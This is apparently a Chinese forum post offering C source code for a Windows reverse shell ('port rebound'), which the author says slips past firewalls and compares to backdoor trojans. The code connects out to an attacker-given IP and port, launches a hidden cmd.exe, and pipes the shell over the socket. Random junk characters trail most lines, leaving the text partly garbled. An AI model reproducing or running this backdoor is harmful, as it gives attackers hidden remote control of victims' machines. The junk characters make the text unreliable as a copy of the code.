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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {b+!0[  
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/* ============================== |7UR_(}KC  
Rebound port in Windows NT ~++y4NB8Q  
By wind,2006/7 X )g <F  
===============================*/ .azdAq'r&\  
#include Al' sY^B  
#include OZLU>LU  
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#pragma comment(lib,"wsock32.lib") VwHTtZ  
6#.z:_  
void OutputShell(); +vBq,'k`  
SOCKET sClient; 0D:J d6\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !1)lGjMW  
!}Cd_tj6  
void main(int argc,char **argv) Bk>Ch#`Bw  
{ p^7ZFUP  
WSADATA stWsaData; KS1Z&~4  
int nRet; "F}a nPY  
SOCKADDR_IN stSaiClient,stSaiServer; x>;! `}x  
|AuN5|obI  
if(argc != 3) &T}~h^/t  
{  N6E H  
printf("Useage:\n\rRebound DestIP DestPort\n"); P0 DvZV8  
return; XNf%vC>  
} *>9#a0cp  
Qp!r_a&  
WSAStartup(MAKEWORD(2,2),&stWsaData); Mfuw y  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6|rqsk  
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stSaiClient.sin_family = AF_INET; X'IW &^kI  
stSaiClient.sin_port = htons(0); ?o"wyF A*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yx4B!U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k2" Z:\?z  
{ QROe+:  
printf("Bind Socket Failed!\n"); ~:D}L   
return; oXK`=.\  
} J}hi)k  
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stSaiServer.sin_family = AF_INET; >mgbs>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2N9 BI-a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 's8NO Xlj  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W> s@fN9  
{ 1%G<gbHpI  
printf("Connect Error!"); nMNAn}~*M  
return; LL7a 20  
} WXp=>P[  
OutputShell(); :\NqGS=<  
} XD<7d")I  
 2(YZTaY  
void OutputShell() _~d C>`K  
{ KIps {_J[<  
char szBuff[1024]; <fCgU&  
SECURITY_ATTRIBUTES stSecurityAttributes; #9,!IW]l  
OSVERSIONINFO stOsversionInfo; @f{yx\u/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {  KE[8n  
STARTUPINFO stStartupInfo; [9u/x%f(  
char *szShell; 5][Rvu0  
PROCESS_INFORMATION stProcessInformation; HIcx "y  
unsigned long lBytesRead; ;<1O86!  
2[}^ zTtA  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c BQ|m A  
c (O+s/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?"$W=*P\o  
stSecurityAttributes.lpSecurityDescriptor = 0; ~Us1F=i_Q  
stSecurityAttributes.bInheritHandle = TRUE; y/K%F,WMf  
GrGgR7eC#P  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N'+d1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f#pT6  
7 6~x|6)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [R)?93  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nchhNU  
stStartupInfo.wShowWindow = SW_HIDE; J*F-tRuEw  
stStartupInfo.hStdInput = hReadPipe; `<zaxO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _- H uO/  
*,-)4)7d  
GetVersionEx(&stOsversionInfo); ?d-(M' v.  
j wlmWO6  
switch(stOsversionInfo.dwPlatformId) %@'9<i8o  
{ XtRfzqg?K  
case 1: WZ&/l 65J  
szShell = "command.com"; x2ln$dSy7  
break; 7 a !b}  
default: pMM-LY7%{  
szShell = "cmd.exe"; :!;BOCTYI  
break; Fl>v9%A  
} F'lG=c3N  
P1]ucu_y,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~O?Gi 4^Yg  
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send(sClient,szMsg,77,0); }UMg ph:2:  
while(1) ,Ej2]iO\7  
{ &_HSrU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8K*X]Z h  
if(lBytesRead) UTc$zc7  
{ + 1\1Z@\M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6* cm  
send(sClient,szBuff,lBytesRead,0); g3 6oEz~|  
} z[b,:G  
else eft-]c+*0  
{ @riCR<fF  
lBytesRead=recv(sClient,szBuff,1024,0); Qzw~\KY:  
if(lBytesRead<=0) break; 1el?f>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~;_]U[eOL  
} aDb@u3X@  
} [bUM x  
Ij(S"P@  
return; ,RKBGOz?f  
}
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